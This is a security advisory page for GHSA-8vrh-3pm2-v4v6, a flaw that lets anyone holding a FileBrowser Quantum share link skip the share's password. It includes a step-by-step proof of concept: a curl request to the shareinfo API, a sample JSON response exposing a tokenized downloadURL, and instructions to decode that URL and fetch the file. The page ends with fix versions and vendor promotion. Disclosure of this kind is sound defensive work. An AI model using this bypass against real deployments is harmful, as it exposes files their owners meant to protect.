GHSA-8vrh-3pm2-v4v6
MEDIUMFileBrowser Quantum: Password Protection Not Enforced on Shared File Links
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/gtsteffaniak/filebrowser/backendReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When users share password-protected files, the recipient can completely bypass the password and still download the file.
Details
This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.
PoC
- As an authenticated user, create a share for a file, with a password specified in "Optional password" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)
- Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)
Now, the link that was copied should look like: https://yourdomain/public/share/yoursharehash example: https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA
Now, make a API request with any api client to GET https://yourdomain/public/api/shareinfo?hash=(the share hash from the link) example: https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA
If curl is preferred, a (command line based API client), here's the command:
curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: */*'
example:
curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: */*'
Example response:
{
"shareTheme": "default",
"title": "Shared files - IMG_20240814_213703451.jpg",
"description": "A share has been sent to you to view or download.",
"disableSidebar": false,
"source": "/folder",
"path": "/IMG_20240814_213703451.jpg/",
"downloadURL": "https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D",
"shareURL": "https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA",
"enforceDarkLightMode": "default",
"viewMode": "normal",
"shareType": "normal",
"sidebarLinks": [
{
"name": "Share QR Code and Info",
"category": "shareInfo",
"target": "#",
"icon": "qr_code"
},
{
"name": "Download",
"category": "download",
"target": "#",
"icon": "download"
}
],
"hasPassword": true
}
Look at the downloadURL. It encodes the "&" symbol as "\u0026" so just replace "\u0026" with "&", example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D should be changed to: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D
Then just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.
Impact
This affects anyone who shares password-protected files.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gtsteffaniak/filebrowser/backend | all versions | 0.0.0-20260221163904-dbcfba993b85 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser/backend. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260221163904-dbcfba993b85 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8vrh-3pm2-v4v6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8vrh-3pm2-v4v6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8vrh-3pm2-v4v6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8vrh-3pm2-v4v6 in your dependencies?
O3 detects GHSA-8vrh-3pm2-v4v6 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.